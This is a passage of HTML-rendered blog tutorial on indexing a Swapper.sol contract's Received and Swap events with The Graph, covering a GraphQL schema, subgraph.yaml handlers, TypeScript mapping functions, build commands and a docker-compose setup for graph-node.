url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAABaklEQVQ4y52RXW/bIBSG4QAGDAbj2STBaTol69ZKuZy2///L3gnaVFvUSfMuHvGp57wHWDpMmB9miNnBphGSBDgRmBDgQoIrCS4lGGP/xvnpjJ/ff+DL01fkc8H6+YTdvAMNHiz2YGKDrLI+FFyvV7x8e0bcT7CnBJ8dVBSgxEGeg4IAWQIxAvFX/iosZY/L5dKwi4XZaZilYl7X2TTaPGmYZKBHDeEFmGVghoE5Bta9CZ13iDE22ibdVeR38xv1nvhtvN3zwSMvGTln5DljjOO2N7tn/DTiuB7x+HhCKQWlHGCNaYec+HbhlCesxyP2h4J92SGEiD56SKugpAIRbRN2SUH5HiQchCcwSWDc/H/Lrnew1r5vCKIGvSGl3JZSKYX608YYaKMxhNB+PKUE7z201ui6bkPLqoPuNIQQaHLnGsMw/JH8Buf8nQ+FcRkxrRPmeWlpQggtWd/3jVuBKq9J61i7qWcfSX8BtukVl6AZxbgAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"graph init\"\n        title=\"graph init\"\n        src=\"/static/cc8ae53c9b6987a89e9c0680bb15cb54/37523/graph-init.png\"\n        srcset=\"/static/cc8ae53c9b6987a89e9c0680bb15cb54/e9ff0/graph-init.png 180w,\n/static/cc8ae53c9b6987a89e9c0680bb15cb54/f21e7/graph-init.png 360w,\n/static/cc8ae53c9b6987a89e9c0680bb15cb54/37523/graph-init.png 720w,\n/static/cc8ae53c9b6987a89e9c0680bb15cb54/302a4/graph-init.png 1080w,\n/static/cc8ae53c9b6987a89e9c0680bb15cb54/07a9c/graph-init.png 1440w,\n/static/cc8ae53c9b6987a89e9c0680bb15cb54/169e3/graph-init.png 1682w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h3 id=\"contract-event-data-query-matching-operation\" style=\"position:relative;\"><a href=\"#contract-event-data-query-matching-operation\" aria-label=\"contract event data query matching operation permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Contract Event data query matching operation</h3>\n<ul>\n<li>After subgraph initialization, modify the generated <code class=\"language-text\">schema.graphql</code> file to develop GraphQl queries for the events of the contract that will collect events.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"graphql\"><pre class=\"language-graphql\"><code class=\"language-graphql\"><span class=\"token comment\"># Swapper Contract Receive</span>\n<span class=\"token keyword\">type</span> <span class=\"token class-name\">Receive</span> <span class=\"token directive function\">@entity</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token attr-name\">id</span><span class=\"token punctuation\">:</span> <span class=\"token scalar\">ID</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">address</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">Bytes</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">balance</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">BigInt</span><span class=\"token operator\">!</span>\n  \n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\"># Swapper Event</span>\n<span class=\"token keyword\">type</span> <span class=\"token class-name\">StakeManagermentType</span> <span class=\"token directive function\">@entity</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token attr-name\">id</span><span class=\"token punctuation\">:</span> <span class=\"token scalar\">ID</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">sender</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">Bytes</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">recipient</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">Bytes</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">srcToken</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">Bytes</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">destToken</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">Bytes</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">expectedAmount</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">BigInt</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">receivedAmount</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">BigInt</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">percent</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">BigInt</span><span class=\"token operator\">!</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\"># history area</span>\n<span class=\"token keyword\">enum</span> <span class=\"token class-name\">LogType</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token constant\">SWAP</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\"># Logging </span>\n<span class=\"token keyword\">type</span> <span class=\"token class-name\">Log</span> <span class=\"token directive function\">@entity</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token attr-name\">id</span><span class=\"token punctuation\">:</span> <span class=\"token scalar\">ID</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">logType</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">LogType</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">createAt</span><span class=\"token punctuation\">:</span> <span class=\"token class-name\">BigInt</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">tx</span><span class=\"token punctuation\">:</span> <span class=\"token scalar\">String</span><span class=\"token operator\">!</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\"># history event</span>\n<span class=\"token keyword\">type</span> <span class=\"token class-name\">History</span> <span class=\"token directive function\">@entity</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token attr-name\">id</span><span class=\"token punctuation\">:</span> <span class=\"token scalar\">ID</span><span class=\"token operator\">!</span>\n  <span class=\"token attr-name\">logs</span><span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token class-name\">Log</span><span class=\"token operator\">!</span><span class=\"token punctuation\">]</span><span class=\"token operator\">!</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>The following is the schema structure written to query the events that occur in the <code class=\"language-text\">Swapper.sol</code> contract, and the event structure of the contract developed and deployed earlier is as follows.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token keyword\">event</span> <span class=\"token function\">Received</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">event</span> <span class=\"token function\">Swap</span><span class=\"token punctuation\">(</span>\n    <span class=\"token builtin\">address</span> <span class=\"token keyword\">indexed</span> sender<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">address</span> <span class=\"token keyword\">indexed</span> recipient<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">address</span> srcToken<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">address</span> destToken<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">uint256</span> expectedAmount<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">uint256</span> receivedAmount<span class=\"token punctuation\">,</span>\n    <span class=\"token builtin\">uint256</span> percent\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<ul>\n<li>Because it exists on-chain, in order to generate the corresponding event, the event must be triggered by calling a method that performs the swap function.</li>\n<li>The <code class=\"language-text\">Received</code> event is triggered when an Ether exchange occurs when calling this contract externally, and it was added to collect who makes the exchange.</li>\n<li>The <code class=\"language-text\">Swap</code> event generates a corresponding event when the swap is finally completed through the <code class=\"language-text\">multiSwapExactInput</code> function. It was added to collect data such as who used this function and which token pair was used as a swap.</li>\n<li>If you return to the <code class=\"language-text\">schema.graphql</code> file again, you can check that the mapping has been performed according to the corresponding event type using the GraphQL syntax. In case of <code class=\"language-text\">Log</code> Type, it is added for transaction logging.</li>\n</ul>\n<h3 id=\"graphql-schema-handling-work-in-progress\" style=\"position:relative;\"><a href=\"#graphql-schema-handling-work-in-progress\" aria-label=\"graphql schema handling work in progress permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>GraphQL schema handling work in progress</h3>\n<ul>\n<li>If the schema design is complete, you will be able to verify that each handling function is implemented by referencing the information of each function against the built contract abi and parsing the values configured from each event keyword. You can check the signature mapped to <code class=\"language-text\">eventHandlers</code> in the <code class=\"language-text\">subgraph.yaml</code> file below.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\"><span class=\"token operator\">-</span> <span class=\"token keyword\">event</span><span class=\"token punctuation\">:</span> <span class=\"token function\">Received</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span>\nhandler<span class=\"token punctuation\">:</span> handleReceived\n<span class=\"token operator\">-</span> <span class=\"token keyword\">event</span><span class=\"token punctuation\">:</span> <span class=\"token function\">Swap</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">indexed</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span><span class=\"token keyword\">indexed</span> <span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">address</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">uint256</span><span class=\"token punctuation\">)</span>\nhandler<span class=\"token punctuation\">:</span> handleSwap</code></pre></div>\n<ul>\n<li>Since this file is the role of the manifest, which is the area that Graph refers to for the first time, you need to define which event handler to use before proceeding with the work.</li>\n<li>If it is created, you can check the created file in the src directory with the contract name specified when it was first set. This file is defined as follows. It informs the vector where the event handling is located, and development should proceed after checking it.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"solidity\"><pre class=\"language-solidity\"><code class=\"language-solidity\">file<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>src<span class=\"token operator\">/</span><span class=\"token keyword\">mapping</span><span class=\"token punctuation\">.</span>ts</code></pre></div>\n<ul>\n<li>The functions specified as prefix handle play the role of handling the previously designed GraphQL schema. It parses various events that occur in a transaction into an object form and provides a reference.</li>\n<li>The important point is to execute the <code class=\"language-text\">graph codegen</code> command to transform the redesigned schema into a code that can be understood in the graph binary. Then <code class=\"language-text\">generated/schema</code> is generated and each keyword must be used as an entity.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\"><span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span> BigInt <span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">\"@graphprotocol/graph-ts\"</span>\n<span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span> evtHistoryPush <span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">\"./utils\"</span>\n<span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span>\n  Received <span class=\"token keyword\">as</span> EvtReceived<span class=\"token punctuation\">,</span>\n  Swap <span class=\"token keyword\">as</span> EvtSwap \n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">\"../generated/Swapper/Swapper\"</span>\n<span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span> Receive<span class=\"token punctuation\">,</span> Swap<span class=\"token punctuation\">,</span> Log<span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">\"../generated/schema\"</span>\n\n<span class=\"token comment\">// - event: Received(address,uint256)</span>\n<span class=\"token comment\">// handler: handleReceived</span>\n<span class=\"token comment\">// - event: Swap(indexed address,indexed address,address,address,uint256,uint256,uint256)</span>\n<span class=\"token comment\">// handler: handleSwap</span>\n\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">function</span> <span class=\"token function\">handleReceived</span><span class=\"token punctuation\">(</span>event<span class=\"token operator\">:</span> EvtReceived<span class=\"token punctuation\">)</span><span class=\"token operator\">:</span> <span class=\"token keyword\">void</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> entity <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Receive</span><span class=\"token punctuation\">(</span>\n    <span class=\"token template-string\"><span class=\"token template-punctuation string\">`</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span>hash<span class=\"token punctuation\">.</span><span class=\"token function\">toHex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">-</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>logIndex<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token template-punctuation string\">`</span></span>\n  <span class=\"token punctuation\">)</span>\n  entity<span class=\"token punctuation\">.</span>address <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>param0\n  entity<span class=\"token punctuation\">.</span>balance <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>param1\n  entity<span class=\"token punctuation\">.</span><span class=\"token function\">save</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  <span class=\"token function\">logReceived</span><span class=\"token punctuation\">(</span>entity<span class=\"token punctuation\">.</span>id<span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">function</span> <span class=\"token function\">logReceived</span><span class=\"token punctuation\">(</span>IDs<span class=\"token operator\">:</span> <span class=\"token builtin\">string</span><span class=\"token punctuation\">,</span> event<span class=\"token operator\">:</span> EvtReceived<span class=\"token punctuation\">)</span><span class=\"token operator\">:</span> <span class=\"token keyword\">void</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> log <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Log</span><span class=\"token punctuation\">(</span><span class=\"token template-string\"><span class=\"token template-punctuation string\">`</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span>hash<span class=\"token punctuation\">.</span><span class=\"token function\">toHex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">-</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>logIndex<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token template-punctuation string\">`</span></span><span class=\"token punctuation\">)</span>\n\n  log<span class=\"token punctuation\">.</span>logType <span class=\"token operator\">=</span> <span class=\"token string\">\"RECEIVE\"</span>\n  log<span class=\"token punctuation\">.</span>createAt <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>block<span class=\"token punctuation\">.</span>timestamp\n  log<span class=\"token punctuation\">.</span>tx <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span>hash<span class=\"token punctuation\">.</span><span class=\"token function\">toHex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  log<span class=\"token punctuation\">.</span><span class=\"token function\">save</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">evtHistoryPush</span><span class=\"token punctuation\">(</span>IDs<span class=\"token punctuation\">,</span> log<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">function</span> <span class=\"token function\">handleSwap</span><span class=\"token punctuation\">(</span>event<span class=\"token operator\">:</span> EvtSwap<span class=\"token punctuation\">)</span><span class=\"token operator\">:</span> <span class=\"token keyword\">void</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> entity <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Swap</span><span class=\"token punctuation\">(</span>\n    <span class=\"token template-string\"><span class=\"token template-punctuation string\">`</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span>hash<span class=\"token punctuation\">.</span><span class=\"token function\">toHex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">-</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>logIndex<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token template-punctuation string\">`</span></span>\n  <span class=\"token punctuation\">)</span>\n  entity<span class=\"token punctuation\">.</span>sender <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>sender\n  entity<span class=\"token punctuation\">.</span>recipient <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>recipient\n  entity<span class=\"token punctuation\">.</span>srcToken <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>srcToken\n  entity<span class=\"token punctuation\">.</span>destToken <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>destToken\n  entity<span class=\"token punctuation\">.</span>expectedAmount <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>expectedAmount\n  entity<span class=\"token punctuation\">.</span>receivedAmount <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>receivedAmount\n  entity<span class=\"token punctuation\">.</span>percent <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>params<span class=\"token punctuation\">.</span>percent\n  entity<span class=\"token punctuation\">.</span><span class=\"token function\">save</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  <span class=\"token function\">logSwap</span><span class=\"token punctuation\">(</span>entity<span class=\"token punctuation\">.</span>id<span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">export</span> <span class=\"token keyword\">function</span> <span class=\"token function\">logSwap</span><span class=\"token punctuation\">(</span>IDs<span class=\"token operator\">:</span> <span class=\"token builtin\">string</span><span class=\"token punctuation\">,</span> event<span class=\"token operator\">:</span> EvtSwap<span class=\"token punctuation\">)</span><span class=\"token operator\">:</span> <span class=\"token keyword\">void</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> log <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Log</span><span class=\"token punctuation\">(</span><span class=\"token template-string\"><span class=\"token template-punctuation string\">`</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span>hash<span class=\"token punctuation\">.</span><span class=\"token function\">toHex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">-</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>event<span class=\"token punctuation\">.</span>logIndex<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token template-punctuation string\">`</span></span><span class=\"token punctuation\">)</span>\n\n  log<span class=\"token punctuation\">.</span>logType <span class=\"token operator\">=</span> <span class=\"token string\">\"SWAP\"</span>\n  log<span class=\"token punctuation\">.</span>createAt <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>block<span class=\"token punctuation\">.</span>timestamp\n  log<span class=\"token punctuation\">.</span>tx <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span>hash<span class=\"token punctuation\">.</span><span class=\"token function\">toHex</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  log<span class=\"token punctuation\">.</span><span class=\"token function\">save</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">evtHistoryPush</span><span class=\"token punctuation\">(</span>IDs<span class=\"token punctuation\">,</span> log<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<ul>\n<li>After allocating each value to the instance implemented as entity, finally complete <code class=\"language-text\">save</code>.</li>\n<li>Here, log functions attached as prefix are added as a separate logging role to extract time and hash information generated in a separate transaction.</li>\n</ul>\n<h3 id=\"graph-build-task\" style=\"position:relative;\"><a href=\"#graph-build-task\" aria-label=\"graph build task permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Graph build task</h3>\n<ul>\n<li>If you have completed up to this point, you should proceed with the final build to prepare for event connection.</li>\n<li>Proceed with the build through the <code class=\"language-text\">graph build</code> command.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 107.22222222222221%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAABYlAAAWJQFJUiTwAAABu0lEQVQ4y51UWW/DIBjjCLk4AknVJE26p2n7/7/Qk5nY+jCpdA+WAVWuv8MRc5qRERNa00JrDa00lFb53DTN95vWEEI8R9/3iCkihIAwBSzLgnmeEWOE9x7TNGUmlFIVgl2fxay1cM5lAd4pUN7IRJXL0Y6IU8xC4ziCjruuwzAMmXlv2zYzy38qGJeI8zxxHAcul0sWZrkUkVLW9e0R1tmfnlGMzkqZdExhOjXG1P2Bn3x2RlH2jkPhnT2k2MsO4yXifr9j2zes64rjPHC9XpFSyo6rJvuItCS8nW+47Tes1xW3bc893bYtl/xyHxvbwDgDYw2asUEXOrRdCyXV6+USxipoq9E4AzUoCCMgpPifGLHfd5yfJ24f75jmCKEERm/rdu7PKfuQB8CpcnnZN65OWfDCRFU/uRrO/8arRK/sYWGiauJDP/x8ALjQJcfkcifzraoNIQXs+553kGkpgiyb6WAFFOK5yqELLiejpKPErogUVA+JWaYzDoZCZTA8cxAUeikt1tssxgyTmemSa4pXfxQKpJMQVoCsGgupPaQOEMpCiJE/gJAWQvlviCelBzfA5U+8+/8yP+ALQr2+F+3k+TgAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"codegen.png\"\n        title=\"codegen.png\"\n        src=\"/static/e0f19a1447510bcbdf9703ec4b4fcbe6/37523/graph-codegen.png\"\n        srcset=\"/static/e0f19a1447510bcbdf9703ec4b4fcbe6/e9ff0/graph-codegen.png 180w,\n/static/e0f19a1447510bcbdf9703ec4b4fcbe6/f21e7/graph-codegen.png 360w,\n/static/e0f19a1447510bcbdf9703ec4b4fcbe6/37523/graph-codegen.png 720w,\n/static/e0f19a1447510bcbdf9703ec4b4fcbe6/302a4/graph-codegen.png 1080w,\n/static/e0f19a1447510bcbdf9703ec4b4fcbe6/07a9c/graph-codegen.png 1440w,\n/static/e0f19a1447510bcbdf9703ec4b4fcbe6/9f9a4/graph-codegen.png 1560w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h3 id=\"graph-node-setup\" style=\"position:relative;\"><a href=\"#graph-node-setup\" aria-label=\"graph node setup permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Graph-Node Setup</h3>\n<ul>\n<li>After deploying Subgraph, you need to configure the following to run the node for each data management locally.</li>\n</ul>\n<p><a href=\"https://github.com/graphprotocol/graph-node\">https://github.com/graphprotocol/graph-node</a></p>\n<blockquote>\n<p>Graph-Node</p>\n<p><a href=\"https://thegraph.com/\">The Graph</a> is a protocol for building decentralized applications (dApps) quickly on Ethereum and IPFS using GraphQL.</p>\n<p>Graph Node is an open source Rust implementation that\nevent sources the Ethereum blockchain to deterministically update a data\nstore that can be queried via the GraphQL endpoint.</p>\n<p>For detailed instructions and more context, check out the <a href=\"https://github.com/graphprotocol/graph-node/blob/master/docs/getting-started.md\">Getting Started Guide</a>.</p>\n</blockquote>\n<ul>\n<li>You can set up the relevant settings by referring to the following, but there are parts that need to be set up for each project.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"yaml\"><pre class=\"language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">version</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'3'</span>\n<span class=\"token key atrule\">services</span><span class=\"token punctuation\">:</span>\n  <span class=\"token key atrule\">graph-node</span><span class=\"token punctuation\">:</span>\n    <span class=\"token key atrule\">image</span><span class=\"token punctuation\">:</span> graphprotocol/graph<span class=\"token punctuation\">-</span>node\n    <span class=\"token key atrule\">ports</span><span class=\"token punctuation\">:</span>\n      <span class=\"token punctuation\">-</span> <span class=\"token string\">'8000:8000'</span>\n      <span class=\"token punctuation\">-</span> <span class=\"token string\">'8001:8001'</span>\n      <span class=\"token punctuation\">-</span> <span class=\"token string\">'8020:8020'</span>\n      <span class=\"token punctuation\">-</span> <span class=\"token string\">'8030:8030'</span>\n      <span class=\"token punctuation\">-</span> <span class=\"token string\">'8040:8040'</span>\n    <span class=\"token key atrule\">depends_on</span><span class=\"token punctuation\">:</span>\n      <span class=\"token punctuation\">-</span> postgres\n    <span class=\"token key atrule\">extra_hosts</span><span class=\"token punctuation\">:</span>\n      <span class=\"token punctuation\">-</span> 172.19.0.1<span 